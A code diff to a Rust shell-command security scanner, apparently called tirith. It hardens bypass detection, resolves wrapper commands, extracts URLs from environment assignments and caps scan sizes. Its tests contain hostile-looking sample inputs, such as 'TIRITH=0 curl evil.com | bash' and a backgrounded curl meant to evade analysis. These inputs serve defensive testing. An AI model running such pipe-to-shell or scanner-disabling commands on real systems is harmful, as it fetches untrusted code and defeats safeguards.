diff --git a/Cargo.lock b/Cargo.lock
index 64ac6cd..9b135c3 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -2080,7 +2080,7 @@ dependencies = [
  "once_cell",
  "ring",
  "rustls-pki-types",
- "rustls-webpki 0.103.9",
+ "rustls-webpki 0.103.10",
  "subtle",
  "zeroize",
 ]
@@ -2128,9 +2128,9 @@ dependencies = [
 
 [[package]]
 name = "rustls-webpki"
-version = "0.103.9"
+version = "0.103.10"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d7df23109aa6c1567d1c575b9952556388da57401e4ace1d15f79eedad0d8f53"
+checksum = "df33b2b81ac578cabaf06b89b0631153a3f416b0a886e8a7a1707fb51abbd1ef"
 dependencies = [
  "ring",
  "rustls-pki-types",
diff --git a/crates/tirith-core/src/engine.rs b/crates/tirith-core/src/engine.rs
index 4f21b04..d3bf29c 100644
--- a/crates/tirith-core/src/engine.rs
+++ b/crates/tirith-core/src/engine.rs
@@ -58,6 +58,13 @@ fn is_tirith_zero_assignment(word: &str) -> bool {
 fn find_inline_bypass(input: &str, shell: ShellType) -> bool {
     use crate::tokenize;
 
+    if matches!(shell, ShellType::Posix | ShellType::Fish) {
+        let segments = tokenize::tokenize(input, shell);
+        if segments.len() != 1 || has_unquoted_ampersand(input, shell) {
+            return false;
+        }
+    }
+
     let words = split_raw_words(input, shell);
     if words.is_empty() {
         return false;
@@ -97,8 +104,7 @@ fn find_inline_bypass(input: &str, shell: ShellType) -> bool {
                 }
                 if w.starts_with('-') {
                     if w.starts_with("--") {
-                        // Long flags: --unset=VAR (skip) or --unset VAR (skip next)
-                        if !w.contains('=') {
+                        if env_long_flag_takes_value(w) && !w.contains('=') {
                             idx += 2;
                         } else {
                             idx += 1;
@@ -165,6 +171,11 @@ fn find_inline_bypass(input: &str, shell: ShellType) -> bool {
     false
 }
 
+fn env_long_flag_takes_value(flag: &str) -> bool {
+    let name = flag.split_once('=').map(|(name, _)| name).unwrap_or(flag);
+    matches!(name, "--unset" | "--chdir" | "--split-string")
+}
+
 /// Check if a word is `$env:TIRITH=0` with optional quotes around the value.
 /// The `$env:` prefix is matched case-insensitively (PowerShell convention).
 fn is_powershell_tirith_bypass(word: &str) -> bool {
@@ -260,6 +271,7 @@ fn split_raw_words(input: &str, shell: ShellType) -> Vec<String> {
             }
             '|' | '\n' | '&' => break, // Stop at segment boundary
             ';' if shell != ShellType::Cmd => break,
+            '#' if shell == ShellType::PowerShell => break,
             '\'' if shell != ShellType::Cmd => {
                 current.push(ch);
                 i += 1;
@@ -351,158 +363,6 @@ fn has_unquoted_ampersand(input: &str, shell: ShellType) -> bool {
     false
 }
 
-/// Check if the input is a self-invocation of tirith (single-segment only).
-/// Returns true if the resolved command is `tirith` itself.
-fn is_self_invocation(input: &str, shell: ShellType) -> bool {
-    use crate::tokenize;
-
-    // Must be single segment (no pipes, &&, etc.)
-    let segments = tokenize::tokenize(input, shell);
-    if segments.len() != 1 {
-        return false;
-    }
-
-    // Reject if input contains unquoted `&` — backgrounding creates a separate
-    // command after the `&` that would bypass analysis (tokenize_posix does not
-    // treat single `&` as a segment separator, so the segments check above misses it).
-    if has_unquoted_ampersand(input, shell) {
-        return false;
-    }
-
-    let words = split_raw_words(input, shell);
-    if words.is_empty() {
-        return false;
-    }
-
-    // Skip leading VAR=VALUE
-    let mut idx = 0;
-    while idx < words.len() && tokenize::is_env_assignment(&words[idx]) {
-        idx += 1;
-    }
-    if idx >= words.len() {
-        return false;
-    }
-
-    let cmd = &words[idx];
-    let cmd_base = cmd.rsplit('/').next().unwrap_or(cmd);
-    let cmd_base = cmd_base.trim_matches(|c: char| c == '\'' || c == '"');
-
-    // Try to resolve wrappers (one level)
-    let resolved = match cmd_base {
-        "env" => resolve_env_wrapper(&words[idx + 1..]),
-        "command" => resolve_command_wrapper(&words[idx + 1..]),
-        "time" => resolve_time_wrapper(&words[idx + 1..]),
-        other => Some(other.to_string()),
-    };
-
-    match resolved {
-        Some(ref cmd_name) => is_tirith_command(cmd_name),
-        None => false,
-    }
-}
-
-/// Resolve through `env` wrapper: skip options, VAR=VALUE, find command.
-fn resolve_env_wrapper(args: &[String]) -> Option<String> {
-    use crate::tokenize;
-    let mut i = 0;
-    while i < args.len() {
-        let w = &args[i];
-        if w == "--" {
-            i += 1;
-            break;
-        }
-        if tokenize::is_env_assignment(w) {
-            i += 1;
-            continue;
-        }
-        if w.starts_with('-') {
-            if w.starts_with("--") {
-                // Long flags: --unset=VAR (skip) or --unset VAR (skip next)
-                if !w.contains('=') {
-                    i += 2;
-                } else {
-                    i += 1;
-                }
-                continue;
-            }
-            // Short flags that take a separate value arg
-            if w == "-u" || w == "-C" || w == "-S" {
-                i += 2;
-                continue;
-            }
-            i += 1;
-            continue;
-        }
-        // First non-option, non-assignment is the command
-        return Some(w.rsplit('/').next().unwrap_or(w).to_string());
-    }
-    // After --, skip remaining VAR=VALUE to find command
-    while i < args.len() {
-        let w = &args[i];
-        if tokenize::is_env_assignment(w) {
-            i += 1;
-            continue;
-        }
-        return Some(w.rsplit('/').next().unwrap_or(w).to_string());
-    }
-    None
-}
-
-/// Resolve through `command` wrapper: skip flags like -v, -p, -V, then `--`, take next arg.
-fn resolve_command_wrapper(args: &[String]) -> Option<String> {
-    let mut i = 0;
-    // Skip flags like -v, -p, -V
-    while i < args.len() && args[i].starts_with('-') && args[i] != "--" {
-        i += 1;
-    }
-    // Skip -- if present
-    if i < args.len() && args[i] == "--" {
-        i += 1;
-    }
-    if i < args.len() {
-        let w = &args[i];
-        Some(w.rsplit('/').next().unwrap_or(w).to_string())
-    } else {
-        None
-    }
-}
-
-/// Resolve through `time` wrapper: skip -prefixed flags, take next non-flag.
-fn resolve_time_wrapper(args: &[String]) -> Option<String> {
-    let mut i = 0;
-    while i < args.len() {
-        let w = &args[i];
-        if w == "--" {
-            i += 1;
-            break;
-        }
-        if w.starts_with('-') {
-            // -f/--format and -o/--output consume the next argument
-            if w == "-f" || w == "--format" || w == "-o" || w == "--output" {
-                i += 2;
-            } else if w.starts_with("--") && w.contains('=') {
-                i += 1; // --format=FMT, --output=FILE — single token
-            } else {
-                i += 1;
-            }
-            continue;
-        }
-        return Some(w.rsplit('/').next().unwrap_or(w).to_string());
-    }
-    // After `--`, the next arg is the command
-    if i < args.len() {
-        let w = &args[i];
-        return Some(w.rsplit('/').next().unwrap_or(w).to_string());
-    }
-    None
-}
-
-/// Check if a command name is tirith (literal match).
-/// Note: callers already strip path prefixes via rsplit('/'), so only basename arrives here.
-fn is_tirith_command(cmd: &str) -> bool {
-    cmd == "tirith"
-}
-
 /// Run the tiered analysis pipeline.
 pub fn analyze(ctx: &AnalysisContext) -> Verdict {
     let start = Instant::now();
@@ -570,21 +430,6 @@ pub fn analyze(ctx: &AnalysisContext) -> Verdict {
         );
     }
 
-    // Self-invocation guard: allow tirith's own commands (single-segment only)
-    if ctx.scan_context == ScanContext::Exec && is_self_invocation(&ctx.input, ctx.shell) {
-        let total_ms = start.elapsed().as_secs_f64() * 1000.0;
-        return Verdict::allow_fast(
-            1,
-            Timings {
-                tier0_ms,
-                tier1_ms,
-                tier2_ms: None,
-                tier3_ms: None,
-                total_ms,
-            },
-        );
-    }
-
     // Tier 2: Policy + data loading (deferred I/O)
     let tier2_start = Instant::now();
 
@@ -1198,7 +1043,7 @@ mod tests {
     #[test]
     fn test_inline_bypass_bare_prefix() {
         assert!(find_inline_bypass(
-            "TIRITH=0 curl evil.com | bash",
+            "TIRITH=0 curl evil.com",
             ShellType::Posix
         ));
     }
@@ -1317,60 +1162,10 @@ mod tests {
     }
 
     #[test]
-    fn test_self_invocation_simple() {
-        assert!(is_self_invocation(
-            "tirith diff https://example.com",
-            ShellType::Posix
-        ));
-    }
-
-    #[test]
-    fn test_self_invocation_env_wrapper() {
-        assert!(is_self_invocation(
-            "env -u PATH tirith diff url",
-            ShellType::Posix
-        ));
-    }
-
-    #[test]
-    fn test_self_invocation_command_dashdash() {
-        assert!(is_self_invocation(
-            "command -- tirith diff url",
-            ShellType::Posix
-        ));
-    }
-
-    #[test]
-    fn test_self_invocation_time_p() {
-        assert!(is_self_invocation(
-            "time -p tirith diff url",
-            ShellType::Posix
-        ));
-    }
-
-    #[test]
-    fn test_not_self_invocation_multi_segment() {
-        assert!(!is_self_invocation(
-            "tirith diff url | bash",
-            ShellType::Posix
-        ));
-    }
-
-    #[test]
-    fn test_not_self_invocation_other_cmd() {
-        assert!(!is_self_invocation(
-            "curl https://evil.com",
-            ShellType::Posix
-        ));
-    }
-
-    #[test]
-    fn test_not_self_invocation_background_bypass() {
-        // `tirith & malicious` backgrounds tirith and runs malicious separately;
-        // must NOT be treated as self-invocation
-        assert!(!is_self_invocation(
-            "tirith & curl evil.com",
-            ShellType::Posix
+    fn test_no_inline_bypass_powershell_comment_contains_bypass() {
+        assert!(!find_inline_bypass(
+            "curl evil.com # $env:TIRITH=0",
+            ShellType::PowerShell
         ));
     }
 
@@ -1393,19 +1188,21 @@ mod tests {
     }
 
     #[test]
-    fn test_self_invocation_env_c_flag() {
-        // env -C /tmp tirith should resolve through -C's value arg
-        assert!(is_self_invocation(
-            "env -C /tmp tirith diff url",
+    fn test_inline_bypass_env_ignore_environment_long_flag() {
+        assert!(find_inline_bypass(
+            "env --ignore-environment TIRITH=0 curl evil.com",
             ShellType::Posix
         ));
     }
 
     #[test]
-    fn test_not_self_invocation_env_c_misidentify() {
-        // env -C /tmp curl — should NOT be identified as self-invocation
-        assert!(!is_self_invocation(
-            "env -C /tmp curl evil.com",
+    fn test_no_inline_bypass_for_chained_posix_command() {
+        assert!(!find_inline_bypass(
+            "TIRITH=0 curl evil.com | bash",
+            ShellType::Posix
+        ));
+        assert!(!find_inline_bypass(
+            "TIRITH=0 curl evil.com & bash",
             ShellType::Posix
         ));
     }
@@ -1486,7 +1283,7 @@ mod tests {
     #[test]
     fn test_inline_bypass_single_quoted_value() {
         assert!(find_inline_bypass(
-            "TIRITH='0' curl evil.com | bash",
+            "TIRITH='0' curl evil.com",
             ShellType::Posix
         ));
     }
@@ -1494,11 +1291,40 @@ mod tests {
     #[test]
     fn test_inline_bypass_double_quoted_value() {
         assert!(find_inline_bypass(
-            "TIRITH=\"0\" curl evil.com | bash",
+            "TIRITH=\"0\" curl evil.com",
             ShellType::Posix
         ));
     }
 
+    #[test]
+    fn test_tirith_command_is_analyzed_like_any_other_exec() {
+        let ctx = AnalysisContext {
+            input: "tirith run http://example.com".to_string(),
+            shell: ShellType::Posix,
+            scan_context: ScanContext::Exec,
+            raw_bytes: None,
+            interactive: true,
+            cwd: None,
+            file_path: None,
+            repo_root: None,
+            is_config_override: false,
+            clipboard_html: None,
+        };
+
+        let verdict = analyze(&ctx);
+        assert!(
+            verdict.tier_reached >= 3,
+            "user-typed tirith commands should still be analyzed"
+        );
+        assert!(
+            verdict
+                .findings
+                .iter()
+                .any(|f| matches!(f.rule_id, crate::verdict::RuleId::PlainHttpToSink)),
+            "tirith run http://... should surface sink findings"
+        );
+    }
+
     #[test]
     fn test_cmd_bypass_bare_set() {
         // `set TIRITH=0 & cmd` is a real Cmd bypass
diff --git a/crates/tirith-core/src/extract.rs b/crates/tirith-core/src/extract.rs
index f50733e..f8d87fd 100644
--- a/crates/tirith-core/src/extract.rs
+++ b/crates/tirith-core/src/extract.rs
@@ -320,9 +320,12 @@ pub fn extract_urls(input: &str, shell: ShellType) -> Vec<ExtractedUrl> {
     let mut results = Vec::new();
 
     for (seg_idx, segment) in segments.iter().enumerate() {
-        // Extract standard URLs from command + args (not raw text, to skip env-prefix values).
-        // Since URL_REGEX stops at whitespace, scanning individual words is equivalent to
-        // scanning the non-env-prefix portion of the raw text.
+        let sink_context = is_sink_context(segment, &segments);
+        let resolved = resolve_segment_command(segment);
+
+        // Extract standard URLs from command + args plus leading env-assignment values.
+        // Keep the raw-text expansion targeted so output/auth false-positive suppression
+        // still applies to the command/arg path.
         let mut url_sources: Vec<&str> = Vec::new();
         if let Some(ref cmd) = segment.command {
             url_sources.push(cmd.as_str());
@@ -330,61 +333,62 @@ pub fn extract_urls(input: &str, shell: ShellType) -> Vec<ExtractedUrl> {
         for arg in &segment.args {
             url_sources.push(arg.as_str());
         }
-        for source in &url_sources {
-            for mat in URL_REGEX.find_iter(source) {
-                let raw = mat.as_str().to_string();
-                let url = parse::parse_url(&raw);
-                results.push(ExtractedUrl {
-                    raw,
-                    parsed: url,
-                    segment_index: seg_idx,
-                    in_sink_context: is_sink_context(segment, &segments),
-                });
+        for (name, value) in tokenize::leading_env_assignments(&segment.raw) {
+            if ignores_env_assignment_url(&name) {
+                continue;
+            }
+            let clean = strip_quotes(&value);
+            if !clean.is_empty() {
+                push_urls_from_source(&clean, seg_idx, sink_context, &mut results);
             }
         }
+        for source in &url_sources {
+            push_urls_from_source(source, seg_idx, sink_context, &mut results);
+        }
 
         // Check for schemeless URLs in sink contexts
         // Skip for docker/podman/nerdctl commands since their args are handled as DockerRef
-        let is_docker_cmd = segment.command.as_ref().is_some_and(|cmd| {
-            let cmd_lower = cmd.to_lowercase();
-            matches!(cmd_lower.as_str(), "docker" | "podman" | "nerdctl")
-        });
-        if is_sink_context(segment, &segments) && !is_docker_cmd {
-            for (arg_idx, arg) in segment.args.iter().enumerate() {
-                // Skip args that are output-file flag values
-                if let Some(cmd) = &segment.command {
-                    if is_output_flag_value(cmd, &segment.args, arg_idx) {
+        let is_docker_cmd = resolved
+            .as_ref()
+            .is_some_and(|cmd| matches!(cmd.name.as_str(), "docker" | "podman" | "nerdctl"));
+        if sink_context && !is_docker_cmd {
+            if let Some(cmd) = resolved.as_ref() {
+                for (arg_idx, arg) in cmd.args.iter().enumerate() {
+                    // Skip args that are output-file flag values
+                    if is_output_flag_value(&cmd.name, cmd.args, arg_idx) {
                         continue;
                     }
-                }
-                let clean = strip_quotes(arg);
-                if looks_like_schemeless_host(&clean) && !URL_REGEX.is_match(&clean) {
-                    results.push(ExtractedUrl {
-                        raw: clean.clone(),
-                        parsed: UrlLike::SchemelessHostPath {
-                            host: extract_host_from_schemeless(&clean),
-                            path: extract_path_from_schemeless(&clean),
-                        },
-                        segment_index: seg_idx,
-                        in_sink_context: true,
-                    });
+                    let clean = strip_quotes(arg);
+                    if is_remote_copy_target(&cmd.name, &clean) {
+                        continue;
+                    }
+                    if looks_like_schemeless_host(&clean) && !URL_REGEX.is_match(&clean) {
+                        results.push(ExtractedUrl {
+                            raw: clean.clone(),
+                            parsed: UrlLike::SchemelessHostPath {
+                                host: extract_host_from_schemeless(&clean),
+                                path: extract_path_from_schemeless(&clean),
+                            },
+                            segment_index: seg_idx,
+                            in_sink_context: true,
+                        });
+                    }
                 }
             }
         }
 
         // Check for Docker refs in docker commands
-        if let Some(cmd) = &segment.command {
-            let cmd_lower = cmd.to_lowercase();
-            if matches!(cmd_lower.as_str(), "docker" | "podman" | "nerdctl") {
-                if let Some(docker_subcmd) = segment.args.first() {
+        if let Some(cmd) = resolved.as_ref() {
+            if matches!(cmd.name.as_str(), "docker" | "podman" | "nerdctl") {
+                if let Some(docker_subcmd) = cmd.args.first() {
                     let subcmd_lower = docker_subcmd.to_lowercase();
                     if subcmd_lower == "build" {
                         // For build, only -t/--tag values are image refs
                         let mut i = 1;
-                        while i < segment.args.len() {
-                            let arg = strip_quotes(&segment.args[i]);
-                            if (arg == "-t" || arg == "--tag") && i + 1 < segment.args.len() {
-                                let tag_val = strip_quotes(&segment.args[i + 1]);
+                        while i < cmd.args.len() {
+                            let arg = strip_quotes(&cmd.args[i]);
+                            if (arg == "-t" || arg == "--tag") && i + 1 < cmd.args.len() {
+                                let tag_val = strip_quotes(&cmd.args[i + 1]);
                                 if !tag_val.is_empty() {
                                     let docker_url = parse::parse_docker_ref(&tag_val);
                                     results.push(ExtractedUrl {
@@ -421,22 +425,18 @@ pub fn extract_urls(input: &str, shell: ShellType) -> Vec<ExtractedUrl> {
                         }
                     } else if subcmd_lower == "image" {
                         // docker image pull/push/inspect — actual subcmd is args[1]
-                        if let Some(image_subcmd) = segment.args.get(1) {
+                        if let Some(image_subcmd) = cmd.args.get(1) {
                             let image_subcmd_lower = image_subcmd.to_lowercase();
                             if matches!(
                                 image_subcmd_lower.as_str(),
                                 "pull" | "push" | "inspect" | "rm" | "tag"
                             ) {
-                                extract_first_docker_image(
-                                    &segment.args[2..],
-                                    seg_idx,
-                                    &mut results,
-                                );
+                                extract_first_docker_image(&cmd.args[2..], seg_idx, &mut results);
                             }
                         }
                     } else if matches!(subcmd_lower.as_str(), "pull" | "run" | "create") {
                         // First non-flag arg is image, then stop
-                        extract_first_docker_image(&segment.args[1..], seg_idx, &mut results);
+                        extract_first_docker_image(&cmd.args[1..], seg_idx, &mut results);
                     }
                 }
             }
@@ -511,6 +511,7 @@ const DOCKER_VALUE_PREFIXES: &[&str] = &["-p", "-e", "-v", "-l", "-u", "-w"];
 /// Extract the first non-flag argument as a Docker image reference.
 fn extract_first_docker_image(args: &[String], seg_idx: usize, results: &mut Vec<ExtractedUrl>) {
     let mut skip_next = false;
+    let mut end_of_options = false;
     for arg in args {
         if skip_next {
             skip_next = false;
@@ -518,12 +519,13 @@ fn extract_first_docker_image(args: &[String], seg_idx: usize, results: &mut Vec
         }
         let clean = strip_quotes(arg);
         if clean == "--" {
-            break;
+            end_of_options = true;
+            continue;
         }
-        if clean.starts_with("--") && clean.contains('=') {
+        if !end_of_options && clean.starts_with("--") && clean.contains('=') {
             continue; // --flag=value, skip
         }
-        if clean.starts_with('-') {
+        if !end_of_options && clean.starts_with('-') {
             if DOCKER_VALUE_FLAGS.iter().any(|f| clean == *f) {
                 skip_next = true;
             }
@@ -548,14 +550,169 @@ fn extract_first_docker_image(args: &[String], seg_idx: usize, results: &mut Vec
     }
 }
 
+#[derive(Debug, Clone)]
+struct ResolvedCommand<'a> {
+    name: String,
+    args: &'a [String],
+}
+
+fn push_urls_from_source(
+    source: &str,
+    segment_index: usize,
+    in_sink_context: bool,
+    results: &mut Vec<ExtractedUrl>,
+) {
+    for mat in URL_REGEX.find_iter(source) {
+        let raw = mat.as_str().to_string();
+        let url = parse::parse_url(&raw);
+        results.push(ExtractedUrl {
+            raw,
+            parsed: url,
+            segment_index,
+            in_sink_context,
+        });
+    }
+}
+
+fn ignores_env_assignment_url(name: &str) -> bool {
+    let upper = name.to_ascii_uppercase();
+    upper == "NO_PROXY" || upper.ends_with("_PROXY")
+}
+
+fn env_long_flag_takes_value(flag: &str) -> bool {
+    let name = flag.split_once('=').map(|(name, _)| name).unwrap_or(flag);
+    matches!(name, "--unset" | "--chdir" | "--split-string")
+}
+
+fn command_base_name(raw: &str) -> String {
+    let clean = strip_quotes(raw);
+    clean
+        .rsplit(['/', '\\'])
+        .next()
+        .unwrap_or(clean.as_str())
+        .to_lowercase()
+}
+
+fn resolve_segment_command(segment: &Segment) -> Option<ResolvedCommand<'_>> {
+    let command = segment.command.as_ref()?;
+    resolve_named_command(command, &segment.args)
+}
+
+fn resolve_named_command<'a>(command: &str, args: &'a [String]) -> Option<ResolvedCommand<'a>> {
+    let name = command_base_name(command);
+    match name.as_str() {
+        "env" => resolve_env_command(args),
+        "command" => resolve_command_wrapper(args),
+        "time" => resolve_time_wrapper(args),
+        "tirith" => resolve_tirith_command(args),
+        _ => Some(ResolvedCommand { name, args }),
+    }
+}
+
+fn resolve_env_command(args: &[String]) -> Option<ResolvedCommand<'_>> {
+    let mut i = 0;
+    while i < args.len() {
+        let clean = strip_quotes(&args[i]);
+        if clean == "--" {
+            i += 1;
+            break;
+        }
+        if tokenize::is_env_assignment(&clean) {
+            i += 1;
+            continue;
+        }
+        if clean.starts_with('-') {
+            if clean.starts_with("--") {
+                if env_long_flag_takes_value(&clean) && !clean.contains('=') {
+                    i += 2;
+                } else {
+                    i += 1;
+                }
+                continue;
+            }
+            if clean == "-u" || clean == "-C" || clean == "-S" {
+                i += 2;
+                continue;
+            }
+            i += 1;
+            continue;
+        }
+        return resolve_named_command(&clean, &args[i + 1..]);
+    }
+
+    while i < args.len() {
+        let clean = strip_quotes(&args[i]);
+        if tokenize::is_env_assignment(&clean) {
+            i += 1;
+            continue;
+        }
+        return resolve_named_command(&clean, &args[i + 1..]);
+    }
+
+    None
+}
+
+fn resolve_command_wrapper(args: &[String]) -> Option<ResolvedCommand<'_>> {
+    let mut i = 0;
+    while i < args.len() {
+        let clean = strip_quotes(&args[i]);
+        if clean == "--" {
+            i += 1;
+            break;
+        }
+        if clean.starts_with('-') {
+            i += 1;
+            continue;
+        }
+        break;
+    }
+    args.get(i)
+        .and_then(|arg| resolve_named_command(arg, &args[i + 1..]))
+}
+
+fn resolve_time_wrapper(args: &[String]) -> Option<ResolvedCommand<'_>> {
+    let mut i = 0;
+    while i < args.len() {
+        let clean = strip_quotes(&args[i]);
+        if clean == "--" {
+            i += 1;
+            break;
+        }
+        if clean.starts_with('-') {
+            if clean == "-f" || clean == "--format" || clean == "-o" || clean == "--output" {
+                i += 2;
+            } else {
+                i += 1;
+            }
+            continue;
+        }
+        break;
+    }
+    args.get(i)
+        .and_then(|arg| resolve_named_command(arg, &args[i + 1..]))
+}
+
+fn resolve_tirith_command(args: &[String]) -> Option<ResolvedCommand<'_>> {
+    let subcommand = args.first().map(|arg| command_base_name(arg))?;
+    match subcommand.as_str() {
+        "run" => Some(ResolvedCommand {
+            name: "tirith-run".to_string(),
+            args: &args[1..],
+        }),
+        _ => Some(ResolvedCommand {
+            name: "tirith".to_string(),
+            args,
+        }),
+    }
+}
+
 /// Check if a segment is in a "sink" context (executing/downloading).
 fn is_sink_context(segment: &Segment, _all_segments: &[Segment]) -> bool {
-    if let Some(cmd) = &segment.command {
-        let cmd_base = cmd.rsplit('/').next().unwrap_or(cmd);
-        let cmd_lower = cmd_base.to_lowercase();
+    if let Some(cmd) = resolve_segment_command(segment) {
+        let cmd_lower = cmd.name;
         // git is only a sink for download subcommands (clone, fetch, pull, etc.)
         if cmd_lower == "git" {
-            return is_git_sink(segment);
+            return is_git_sink(cmd.args);
         }
         if is_source_command(&cmd_lower) {
             return true;
@@ -566,9 +723,8 @@ fn is_sink_context(segment: &Segment, _all_segments: &[Segment]) -> bool {
     if let Some(sep) = &segment.preceding_separator {
         if sep == "|" || sep == "|&" {
             // This segment receives piped input — check if it's an interpreter
-            if let Some(cmd) = &segment.command {
-                let cmd_base = cmd.rsplit('/').next().unwrap_or(cmd);
-                if is_interpreter(cmd_base) {
+            if let Some(cmd) = resolve_segment_command(segment) {
+                if is_interpreter(&cmd.name) {
                     return true;
                 }
             }
@@ -604,17 +760,32 @@ fn is_source_command(cmd: &str) -> bool {
             | "irm"
             | "invoke-webrequest"
             | "invoke-restmethod"
+            | "tirith-run"
     )
 }
 
+fn is_remote_copy_target(cmd: &str, arg: &str) -> bool {
+    if !matches!(cmd, "scp" | "rsync") {
+        return false;
+    }
+
+    if let Some(at_pos) = arg.find('@') {
+        let before_at = &arg[..at_pos];
+        let after_at = &arg[at_pos + 1..];
+        return !before_at.contains(':') && !after_at.contains('/') && !after_at.contains(':');
+    }
+
+    false
+}
+
 /// Check if a git command is in a sink context (only subcommands that download).
 /// `git add`, `git commit`, `git status`, etc. are NOT sinks.
-fn is_git_sink(segment: &Segment) -> bool {
-    if segment.args.is_empty() {
+fn is_git_sink(args: &[String]) -> bool {
+    if args.is_empty() {
         return false;
     }
     // First non-flag arg is the subcommand
-    for arg in &segment.args {
+    for arg in args {
         let clean = strip_quotes(arg);
         if clean.starts_with('-') {
             continue;
@@ -750,15 +921,6 @@ fn looks_like_schemeless_host(s: &str) -> bool {
     if s.starts_with('.') {
         return false;
     }
-    // Reject bare user@host (SSH/SCP/email) but keep user:pass@host (credentialed URL).
-    // bare user@host has no ':' before '@' and no '/' after the host.
-    if let Some(at_pos) = s.find('@') {
-        let before_at = &s[..at_pos];
-        let after_at = &s[at_pos + 1..];
-        if !before_at.contains(':') && !after_at.contains('/') {
-            return false;
-        }
-    }
     // First component before / or end should look like a domain
     let host_part = s.split('/').next().unwrap_or(s);
     if !host_part.contains('.') || host_part.contains(' ') {
@@ -1027,6 +1189,44 @@ mod tests {
         assert_eq!(urls[0].raw, "https://example.com/install.sh");
     }
 
+    #[test]
+    fn test_extract_urls_from_leading_env_assignment() {
+        let urls = extract_urls(
+            "PAYLOAD_URL=https://example.com/install.sh curl ok",
+            ShellType::Posix,
+        );
+        assert!(
+            urls.iter()
+                .any(|u| u.raw == "https://example.com/install.sh" && u.in_sink_context),
+            "leading env assignment URL should be extracted in sink context"
+        );
+    }
+
+    #[test]
+    fn test_extract_urls_from_quoted_leading_env_assignment() {
+        let urls = extract_urls(
+            "PAYLOAD_URL='https://example.com/install.sh' curl ok",
+            ShellType::Posix,
+        );
+        assert!(
+            urls.iter()
+                .any(|u| u.raw == "https://example.com/install.sh"),
+            "quoted leading env assignment URL should be extracted"
+        );
+    }
+
+    #[test]
+    fn test_proxy_env_assignment_url_is_not_treated_as_destination() {
+        let urls = extract_urls(
+            "HTTP_PROXY=http://proxy:8080 curl https://example.com/data",
+            ShellType::Posix,
+        );
+        assert!(
+            !urls.iter().any(|u| u.raw == "http://proxy:8080"),
+            "proxy configuration URLs should not be treated as destinations"
+        );
+    }
+
     #[test]
     fn test_extract_urls_pipe() {
         let urls = extract_urls(
@@ -1063,6 +1263,49 @@ mod tests {
         assert!(!urls.is_empty());
     }
 
+    #[test]
+    fn test_wrapper_preserves_sink_context() {
+        let urls = extract_urls(
+            "env --ignore-environment curl http://example.com",
+            ShellType::Posix,
+        );
+        assert!(
+            urls.iter()
+                .any(|u| u.raw == "http://example.com" && u.in_sink_context),
+            "wrapped sink commands should keep sink context"
+        );
+    }
+
+    #[test]
+    fn test_env_wrapper_preserves_tirith_run_sink_context() {
+        let urls = extract_urls("env tirith run http://example.com", ShellType::Posix);
+        assert!(
+            urls.iter()
+                .any(|u| u.raw == "http://example.com" && u.in_sink_context),
+            "env wrapper should preserve tirith run sink context"
+        );
+    }
+
+    #[test]
+    fn test_command_wrapper_preserves_tirith_run_sink_context() {
+        let urls = extract_urls("command tirith run http://example.com", ShellType::Posix);
+        assert!(
+            urls.iter()
+                .any(|u| u.raw == "http://example.com" && u.in_sink_context),
+            "command wrapper should preserve tirith run sink context"
+        );
+    }
+
+    #[test]
+    fn test_time_wrapper_preserves_tirith_run_sink_context() {
+        let urls = extract_urls("time tirith run http://example.com", ShellType::Posix);
+        assert!(
+            urls.iter()
+                .any(|u| u.raw == "http://example.com" && u.in_sink_context),
+            "time wrapper should preserve tirith run sink context"
+        );
+    }
+
     #[test]
     fn test_strip_quotes_single_char() {
         assert_eq!(strip_quotes("\""), "\"");
@@ -1155,6 +1398,20 @@ mod tests {
         assert_eq!(docker_urls.len(), 1);
     }
 
+    #[test]
+    fn test_docker_run_image_after_double_dash() {
+        let urls = extract_urls(
+            "docker run --rm -- evil.registry/ns/img:1",
+            ShellType::Posix,
+        );
+        let docker_urls: Vec<_> = urls
+            .iter()
+            .filter(|u| matches!(u.parsed, UrlLike::DockerRef { .. }))
+            .collect();
+        assert_eq!(docker_urls.len(), 1);
+        assert_eq!(docker_urls[0].raw, "evil.registry/ns/img:1");
+    }
+
     /// Constraint #2: Verify that EXTRACTOR_IDS is non-empty and
     /// that all generated fragment counts are positive.
     /// This is a module boundary enforcement test — ensures no secret
@@ -1301,6 +1558,27 @@ mod tests {
         );
     }
 
+    #[test]
+    fn test_schemeless_user_at_host_detected_in_sink_context() {
+        let urls = extract_urls("curl user@bit.ly", ShellType::Posix);
+        let schemeless: Vec<_> = urls
+            .iter()
+            .filter(|u| matches!(u.parsed, UrlLike::SchemelessHostPath { .. }))
+            .collect();
+        assert_eq!(schemeless.len(), 1);
+        assert_eq!(schemeless[0].raw, "user@bit.ly");
+    }
+
+    #[test]
+    fn test_scp_user_at_host_not_treated_as_schemeless_url() {
+        let urls = extract_urls("scp user@server.com file.txt", ShellType::Posix);
+        let schemeless: Vec<_> = urls
+            .iter()
+            .filter(|u| matches!(u.parsed, UrlLike::SchemelessHostPath { .. }))
+            .collect();
+        assert!(schemeless.is_empty());
+    }
+
     #[test]
     fn test_schemeless_png_no_slash_is_file() {
         assert!(!looks_like_schemeless_host("lenna.png"));
diff --git a/crates/tirith-core/src/mcp/resources.rs b/crates/tirith-core/src/mcp/resources.rs
index 18b713c..4f69aee 100644
--- a/crates/tirith-core/src/mcp/resources.rs
+++ b/crates/tirith-core/src/mcp/resources.rs
@@ -5,6 +5,7 @@ use crate::scan;
 use super::types::{ContentItem, ResourceContent, ResourceDefinition, ToolCallResult};
 
 const PROJECT_SAFETY_URI: &str = "tirith://project-safety";
+pub const MCP_SCAN_MAX_FILES: usize = 5_000;
 
 /// Return available resources.
 pub fn list() -> Vec<ResourceDefinition> {
@@ -46,7 +47,7 @@ pub fn read_content(uri: &str) -> Result<Vec<ResourceContent>, String> {
                 recursive: true,
                 fail_on: crate::verdict::Severity::Critical,
                 ignore_patterns: policy.scan.ignore_patterns.clone(),
-                max_files: None,
+                max_files: Some(MCP_SCAN_MAX_FILES),
             };
             let mut result = scan::scan(&config);
             for fr in &mut result.file_results {
@@ -104,7 +105,7 @@ fn read_project_safety() -> ToolCallResult {
         recursive: true,
         fail_on: crate::verdict::Severity::Critical,
         ignore_patterns: policy.scan.ignore_patterns.clone(),
-        max_files: None,
+        max_files: Some(MCP_SCAN_MAX_FILES),
     };
     let mut result = scan::scan(&config);
     for fr in &mut result.file_results {
diff --git a/crates/tirith-core/src/mcp/tools.rs b/crates/tirith-core/src/mcp/tools.rs
index ec50678..6f78409 100644
--- a/crates/tirith-core/src/mcp/tools.rs
+++ b/crates/tirith-core/src/mcp/tools.rs
